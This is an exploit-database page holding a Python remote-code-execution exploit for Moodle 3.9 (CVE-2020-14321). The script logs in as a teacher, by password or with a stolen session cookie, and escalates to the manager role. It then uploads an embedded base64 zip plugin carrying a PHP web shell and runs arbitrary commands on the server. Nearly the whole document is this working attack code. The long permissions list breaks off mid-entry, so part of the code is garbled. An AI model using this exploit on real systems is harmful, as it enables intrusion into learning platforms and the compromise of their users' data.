Share
## https://sploitus.com/exploit?id=PACKETSTORM:163740
# Exploit Title: Moodle 3.9 - Remote Code Execution (RCE) (Authenticated)  
# Date: 12-05-2021  
# Exploit Author: lanz  
# Vendor Homepage: https://moodle.org/  
# Version: Moodle 3.9  
# Tested on: FreeBSD  
  
#!/usr/bin/python3  
  
## Moodle 3.9 - RCE (Authenticated as teacher)  
## Based on PoC and Payload to assign full permissions to manager rol:  
## * https://github.com/HoangKien1020/CVE-2020-14321  
  
## Repository: https://github.com/lanzt/CVE-2020-14321/blob/main/CVE-2020-14321_RCE.py  
  
import string, random  
import requests, re  
import argparse  
import base64  
import signal  
import time  
from pwn import *  
  
class Color:  
BLUE = '\033[94m'  
GREEN = '\033[92m'  
YELLOW = '\033[93m'  
RED = '\033[91m'  
END = '\033[0m'  
  
def def_handler(sig, frame):  
print(Color.RED + "\n[!] 3xIt1ngG...\n")  
exit(1)  
  
signal.signal(signal.SIGINT, def_handler)  
  
banner = base64.b64decode("IF9fICAgICBfXyAgICAgX18gICBfXyAgX18gICBfXyAgICAgICAgICAgICAgX18gIF9fICAgICAKLyAgXCAgL3xfICBfXyAgIF8pIC8gIFwgIF8pIC8gIFwgX18gIC98IHxfX3wgIF8pICBfKSAvfCAKXF9fIFwvIHxfXyAgICAgL19fIFxfXy8gL19fIFxfXy8gICAgICB8ICAgIHwgX18pIC9fXyAgfCDigKIgYnkgbGFuegoKTW9vZGxlIDMuOSAtIFJlbW90ZSBDb21tYW5kIEV4ZWN1dGlvbiAoQXV0aGVudGljYXRlZCBhcyB0ZWFjaGVyKQpDb3Vyc2UgZW5yb2xtZW50cyBhbGxvd2VkIHByaXZpbGVnZSBlc2NhbGF0aW9uIGZyb20gdGVhY2hlciByb2xlIGludG8gbWFuYWdlciByb2xlIHRvIFJDRQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA==").decode()  
  
print(Color.BLUE + banner + Color.END)  
  
def usagemybro():  
fNombre = os.path.basename(__file__)  
ussage = fNombre + ' [-h] [-u USERNAME] [-p PASSWORD] [-idm ID_MANAGER] [-idc ID_COURSE] [-c COMMAND] [--cookie TEACHER_COOKIE] url\n\n'  
ussage += '[+] Examples:\n'  
ussage += '\t' + fNombre + ' http://moodle.site.com/moodle -u teacher_name -p teacher_pass\n'  
ussage += '\t' + fNombre + " http://moodle.site.com/moodle --cookie thisistheffcookieofmyteaaacher\n"  
return ussage  
  
def arguments():  
parse = argparse.ArgumentParser(usage=usagemybro())  
parse.add_argument(dest='url', type=str, help='URL Moodle site')  
parse.add_argument('-u', dest='username', type=str, default='lanz', help='Teacher username, default: lanz')  
parse.add_argument('-p', dest='password', type=str, default='Lanz123$!', help='Teacher password, default: Lanz123$!')  
parse.add_argument('-idm', dest='id_manager', type=str, default='25', help='Manager user ID, default: 25')  
parse.add_argument('-idc', dest='id_course', type=str, default='5', help='Course ID valid to enrol yourself, default: 5')  
parse.add_argument('-c', dest='command', type=str, default='whoami', help='Command to execute, default: whoami')  
parse.add_argument('--cookie', dest='teacher_cookie', type=str, default='', help='Teacher cookie (if you don\'t have valid credentials)')  
return parse.parse_args()  
  
def login(url, username, password, course_id, teacher_cookie):  
'''  
Sign in on site, with creds or with cookie  
'''  
  
p1 = log.progress("Login on site")  
  
session = requests.Session()  
r = session.get(url + '/login/index.php')  
  
# Sign in with teacher cookie  
if teacher_cookie != "":  
p1.status("Cookie " + Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END)  
time.sleep(2)  
  
# In case the URL format is: http://moodle.site.com/moodle  
cookie_domain = url.split('/')[2] # moodle.site.com  
cookie_path = "/%s/" % (url.split('/')[3]) # /moodle/  
session.cookies.set('MoodleSession', teacher_cookie, domain=cookie_domain, path=cookie_path)  
  
r = session.get(url + '/user/index.php', params={"id":course_id})  
try:  
re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]  
except IndexError:  
p1.failure(Color.RED + "โœ˜" + Color.END)  
print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")  
exit(1)  
  
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
p1.success(Color.BLUE + "MoodleSession:" + teacher_cookie + Color.END + Color.YELLOW + " โœ“" + Color.END)  
time.sleep(1)  
  
# Sign in with teacher credentials  
elif username and password != "":  
p1.status("Creds " + Color.BLUE + username + ":" + password + Color.END)  
time.sleep(2)  
  
login_token = re.findall(r'name="logintoken" value="(.*?)"', r.text)[0]  
  
data_post = {  
"anchor" : "",  
"logintoken" : login_token,  
"username" : username,  
"password" : password  
}  
  
r = session.post(url + '/login/index.php', data=data_post)  
if "Recently accessed courses" not in r.text:  
p1.failure(Color.RED + "โœ˜" + Color.END)  
print(Color.RED + "\nInvalid credentials.\n")  
exit(1)  
  
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
p1.success(Color.BLUE + username + ":" + password + Color.END + Color.YELLOW + " โœ“" + Color.END)  
time.sleep(1)  
  
else:  
print(Color.RED + "\nUse valid credentials or valid cookie\n")  
exit(1)  
  
return session, id_user, sess_key  
  
def enrol2rce(session, url, id_manager, username, course_id, teacher_cookie, command):  
'''  
Assign rol manager to teacher and manager account in the course.  
'''  
  
p4 = log.progress("Updating roles to move on manager accout")  
time.sleep(1)  
  
r = session.get(url + '/user/index.php', params={"id":course_id})  
try:  
teacher_user = re.findall(r'class="usertext mr-1">(.*?)<', r.text)[0]  
except IndexError:  
p4.failure(Color.RED + "โœ˜" + Color.END)  
print(Color.RED + "\nInvalid cookie, try again, verify cookie domain and cookie path or simply change all.\n")  
exit(1)  
  
p4.status("Teacher " + Color.BLUE + teacher_user + Color.END)  
time.sleep(1)  
  
id_user = re.findall(r'id="nav-notification-popover-container" data-userid="(.*?)"', r.text)[0]  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
session = update_rol(session, url, sess_key, course_id, id_user)  
session = update_rol(session, url, sess_key, course_id, id_manager)  
  
data_get = {  
"id" : course_id,  
"user" : id_manager,  
"sesskey" : sess_key  
}  
  
r = session.get(url + '/course/loginas.php', params=data_get)  
if "You are logged in as" not in r.text:  
p4.failure(Color.RED + "โœ˜" + Color.END)  
print(Color.RED + "\nError trying to move on manager account. Validate credentials (or cookie).\n")  
exit(1)  
  
p4.success(Color.YELLOW + "โœ“" + Color.END)  
time.sleep(1)  
  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
# Updating rol manager to enable install plugins  
session, sess_key = update_rol_manager(session, url, sess_key)  
  
# Upload malicious zip file  
zipb64_up(session, url, sess_key, teacher_user, course_id)  
  
# RCE on system  
moodle_RCE(url, command)  
  
def update_rol(session, url, sess_key, course_id, id_user):  
'''  
Updating teacher rol to enable he update other users  
'''  
  
data_get = {  
"mform_showmore_main" : "0",  
"id" : course_id,  
"action" : "enrol",  
"enrolid" : "10",  
"sesskey" : sess_key,  
"_qf__enrol_manual_enrol_users_form" : "1",  
"mform_showmore_id_main" : "0",   
"userlist[]" : id_user,   
"roletoassign" : "1",  
"startdate" : "4",  
"duration" : ""  
}  
  
r = session.get(url + '/enrol/manual/ajax.php', params=data_get)  
return session  
  
def update_rol_manager(session, url, sess_key):  
'''  
Updating rol manager to enable install plugins  
* Extracted from: https://github.com/HoangKien1020/CVE-2020-14321  
'''  
  
p6 = log.progress("Updating rol manager to enable install plugins")  
time.sleep(1)  
  
data_get = {  
"action":"edit",  
"roleid":"1"  
}  
  
random_desc = ''.join(random.choice(string.ascii_lowercase) for i in range(15))  
  
# Headache part :P  
data_post = [('sesskey',sess_key),('return','manage'),('resettype','none'),('shortname','manager'),('name',''),('description',random_desc),('archetype','manager'),('contextlevel10','0'),('contextlevel10','1'),('contextlevel30','0'),('contextlevel30','1'),('contextlevel40','0'),('contextlevel40','1'),('contextlevel50','0'),('contextlevel50','1'),('contextlevel70','0'),('contextlevel70','1'),('contextlevel80','0'),('contextlevel80','1'),('allowassign[]',''),('allowassign[]','1'),('allowassign[]','2'),('allowassign[]','3'),('allowassign[]','4'),('allowassign[]','5'),('allowassign[]','6'),('allowassign[]','7'),('allowassign[]','8'),('allowoverride[]',''),('allowoverride[]','1'),('allowoverride[]','2'),('allowoverride[]','3'),('allowoverride[]','4'),('allowoverride[]','5'),('allowoverride[]','6'),('allowoverride[]','7'),('allowoverride[]','8'),('allowswitch[]',''),('allowswitch[]','1'),('allowswitch[]','2'),('allowswitch[]','3'),('allowswitch[]','4'),('allowswitch[]','5'),('allowswitch[]','6'),('allowswitch[]','7'),('allowswitch[]','8'),('allowview[]',''),('allowview[]','1'),('allowview[]','2'),('allowview[]','3'),('allowview[]','4'),('allowview[]','5'),('allowview[]','6'),('allowview[]','7'),('allowview[]','8'),('block/admin_bookmarks:myaddinstance','1'),('block/badges:myaddinstance','1'),('block/calendar_month:myaddinstance','1'),('block/calendar_upcoming:myaddinstance','1'),('block/comments:myaddinstance','1'),('block/course_list:myaddinstance','1'),('block/globalsearch:myaddinstance','1'),('block/glossary_random:myaddinstance','1'),('block/html:myaddinstance','1'),('block/lp:addinstance','1'),('block/lp:myaddinstance','1'),('block/mentees:myaddinstance','1'),('block/mnet_hosts:myaddinstance','1'),('block/myoverview:myaddinstance','1'),('block/myprofile:myaddinstance','1'),('block/navigation:myaddinstance','1'),('block/news_items:myaddinstance','1'),('block/online_users:myaddinstance','1'),('block/private_files:myaddinstance','1'),('block/recentlyaccessedcourses:myaddinstance','1'),('block/recentlyaccesseditems:myaddinstance','1'),('block/rss_client:myaddinstance','1'),('block/settings:myaddinstance','1'),('block/starredcourses:myaddinstance','1'),('block/tags:myaddinstance','1'),('block/timeline:myaddinstance','1'),('enrol/category:synchronised','1'),('message/airnotifier:managedevice','1'),('moodle/analytics:listowninsights','1'),('moodle/analytics:managemodels','1'),('moodle/badges:manageglobalsettings','1'),('moodle/blog:create','1'),('moodle/blog:manageentries','1'),('moodle/blog:manageexternal','1'),('moodle/blog:search','1'),('moodle/blog:view','1'),('moodle/blog:viewdrafts','1'),('moodle/course:configurecustomfields','1'),('moodle/course:recommendactivity','1'),('moodle/grade:managesharedforms','1'),('moodle/grade:sharegradingforms','1'),('moodle/my:configsyspages','1'),('moodle/my:manageblocks','1'),('moodle/portfolio:export','1'),('moodle/question:config','1'),('moodle/restore:createuser','1'),('moodle/role:manage','1'),('moodle/search:query','1'),('moodle/site:config','1'),('moodle/site:configview','1'),('moodle/site:deleteanymessage','1'),('moodle/site:deleteownmessage','1'),('moodle/site:doclinks','1'),('moodle/site:forcelanguage','1'),('moodle/site:maintenanceaccess','1'),('moodle/site:manageallmessaging','1'),('moodle/site:messageanyuser','1'),('moodle/site:mnetlogintoremote','1'),('moodle/site:readallmessages','1'),('moodle/site:sendmessage','1'),('moodle/site:uploadusers','1'),('moodle/site:viewparticipants','1'),('moodle/tag:edit','1'),('moodle/tag:editblocks','1'),('moodle/tag:flag','1'),('moodle/tag:manage','1'),('moodle/user:changeownpassword','1'),('moodle/user:create','1'),('moodle/user:delete','1'),('moodle/user:editownmessageprofile','1'),('moodle/user:editownprofile','1'),('moodle/user:ignoreuserquota','1'),('moodle/user:manageownblocks','1'),('moodle/user:manageownfiles','1'),('moodle/user:managesyspages','1'),('moodle/user:update','1'),('moodle/webservice:createmobiletoken','1'),('moodle/webservice:createtoken','1'),('moodle/webservice:managealltokens','1'),('quizaccess/seb:managetemplates'  
  
r = session.post(url + '/admin/roles/define.php', params=data_get, data=data_post)  
  
# Above we modify description field, so, if script find that description on site, we are good.  
if random_desc not in r.text:  
p6.failure(Color.RED + "โœ˜" + Color.END)  
print(Color.RED + "\nTrouble updating fields\n")  
exit(1)  
else:  
r = session.get(url + '/admin/search.php')  
if "Install plugins" not in r.text:  
p6.failure(Color.RED + "โœ˜" + Color.END)  
print(Color.RED + "\nModified fields but the options to install plugins have not been enabled.")  
print(Color.RED + "- (This is weird, sometimes he does it, sometimes he doesn't!!) Try again.\n")  
exit(1)  
  
sess_key = re.findall(r'"sesskey":"(.*?)"', r.text)[0]  
  
p6.success(Color.YELLOW + "โœ“" + Color.END)  
time.sleep(1)  
  
return session, sess_key  
  
def zipb64_up(session, url, sess_key, teacher_user, course_id):  
'''  
Doing upload of zip file as base64 binary data  
* https://stackabuse.com/encoding-and-decoding-base64-strings-in-python/  
'''  
  
p7 = log.progress("Uploading malicious " + Color.BLUE + ".zip" + Color.END + " file")  
  
r = session.get(url + '/admin/tool/installaddon/index.php')  
zipfile_id = re.findall(r'name="zipfile" id="id_zipfile" value="(.*?)"', r.text)[0]  
client_id = re.findall(r'"client_id":"(.*?)"', r.text)[0]  
  
# Upupup  
data_get = {"action":"upload"}  
data_post = {  
"title" : "",  
"author" : teacher_user,  
"license" : "unknown",  
"itemid" : [zipfile_id, zipfile_id],  
"accepted_types[]" : [".zip",".zip"],  
"repo_id" : course_id,  
"p" : "",  
"page" : "",  
"env" : "filepicker",  
"sesskey" : sess_key,  
"client_id" : client_id,  
"maxbytes" : "-1",  
"areamaxbytes" : "-1",  
"ctx_id" : "1",  
"savepath" : "/"  
}  
  
zip_b64 = 'UEsDBAoAAAAAAOVa0VAAAAAAAAAAAAAAAAAEAAAAcmNlL1BLAwQKAAAAAACATtFQAAAAAAAAAAAAAAAACQAAAHJjZS9sYW5nL1BLAwQKAAAAAAB2bdFQAAAAAAAAAAAAAAAADAAAAHJjZS9sYW5nL2VuL1BLAwQUAAAACAD4W9FQA9MUliAAAAAeAAAAGQAAAHJjZS9sYW5nL2VuL2Jsb2NrX3JjZS5waHCzsS/IKFAoriwuSc3VUIl3dw2JVk/OTVGP1bRWsLcDAFBLAwQUAAAACAB6bdFQtXxvb0EAAABJAAAADwAAAHJjZS92ZXJzaW9uLnBocLOxL8goUODlUinIKU3PzNO1K0stKs7Mz1OwVTAyMDIwMDM0NzCwRpJPzs8tyM9LzSsBqlBPyslPzo4vSk5VtwYAUEsBAh8ACgAAAAAA5VrRUAAAAAAAAAAAAAAAAAQAJAAAAAAAAAAQAAAAAAAAAHJjZS8KACAAAAAAAAEAGAB/2bACX0TWAWRC9B9fRNYBhvTzH19E1gFQSwECHwAKAAAAAACATtFQAAAAAAAAAAAAAAAACQAkAAAAAAAAABAAAAAiAAAAcmNlL2xhbmcvCgAgAAAAAAABABgArE3mRVJE1gGOG/QfX0TWAYb08x9fRNYBUEsBAh8ACgAAAAAAdm3RUAAAAAAAAAAAAAAAAAwAJAAAAAAAAAAQAAAASQAAAHJjZS9sYW5nL2VuLwoAIAAAAAAAAQAYAMIcIaZyRNYBwhwhpnJE1gGOG/QfX0TWAVBLAQIfABQAAAAIAPhb0VAD0xSWIAAAAB4AAAAZACQAAAAAAAAAIAAAAHMAAAByY2UvbGFuZy9lbi9ibG9ja19yY2UucGhwCgAgAAAAAAABABgA1t0sN2BE1gHW3Sw3YETWAfYt6i9fRNYBUEsBAh8AFAAAAAgAem3RULV8b29BAAAASQAAAA8AJAAAAAAAAAAgAAAAygAAAHJjZS92ZXJzaW9uLnBocAoAIAAAAAAAAQAYAO6e2qlyRNYB7p7aqXJE1gFkQvQfX0TWAVBLBQYAAAAABQAFANsBAAA4AQAAAAA='  
zip_file_bytes = zip_b64.encode('utf-8')  
zip_file_b64 = base64.decodebytes(zip_file_bytes)  
  
data_file = [  
('repo_upload_file',  
('rce.zip', zip_file_b64, 'application/zip'))]  
  
r = session.post(url + '/repository/repository_ajax.php', params=data_get, data=data_post, files=data_file)  
if "rce.zip" not in r.text:  
p7.failure(Color.RED + "โœ˜" + Color.END)  
print(Color.RED + "\nError uploading zip file.\n")  
exit(1)  
  
# Trying to load file  
data_post = {  
"sesskey" : sess_key,  
"_qf__tool_installaddon_installfromzip_form" : "1",  
"mform_showmore_id_general" : "0",  
"mform_isexpanded_id_general" : "1",  
"zipfile" : zipfile_id,  
"plugintype" : "",  
"rootdir" : "",  
"submitbutton" : "Install plugin from the ZIP file"  
}  
  
r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)  
if "Validation successful, installation can continue" not in r.text:  
p7.failure(Color.RED + "โœ˜" + Color.END)  
print(Color.RED + "\nError uploading zip file, problems on plugin install.\n")  
exit(1)  
  
# Confirm load  
zip_storage = re.findall(r'installzipstorage=(.*?)&', r.url)[0]  
data_post = {  
"installzipcomponent" : "block_rce",  
"installzipstorage" : zip_storage,  
"installzipconfirm" : "1",  
"sesskey" : sess_key  
}  
  
r = session.post(url + '/admin/tool/installaddon/index.php', data=data_post)  
if "Current release information" not in r.text:  
p7.failure(Color.RED + "โœ˜" + Color.END)  
print(Color.RED + "\nError uploading zip file, confirmation problems.\n")  
exit(1)  
  
p7.success(Color.YELLOW + "โœ“" + Color.END)  
time.sleep(1)  
  
return session  
  
def moodle_RCE(url, command):  
'''  
Remote Command Execution on system with plugin installed (malicious zip file)  
'''  
  
p8 = log.progress("Executing " + Color.BLUE + command + Color.END)  
time.sleep(1)  
  
data_get = {"cmd" : command}  
  
try:  
r = session.get(url + '/blocks/rce/lang/en/block_rce.php', params=data_get, timeout=3)  
p8.success(Color.YELLOW + "โœ“" + Color.END)  
time.sleep(1)  
print("\n" + Color.YELLOW + r.text + Color.END)  
except requests.exceptions.Timeout as e:  
p8.success(Color.YELLOW + "โœ“" + Color.END)  
time.sleep(1)  
pass  
  
print("[" + Color.YELLOW + "+" + Color.END + "]" + Color.GREEN + " Keep breaking ev3rYthiNg!!\n" + Color.END)  
  
if __name__ == '__main__':  
args = arguments()  
session, id_user, sess_key = login(args.url, args.username, args.password, args.id_course, args.teacher_cookie)  
enrol2rce(session, args.url, args.id_manager, args.username, args.id_course, args.teacher_cookie, args.command)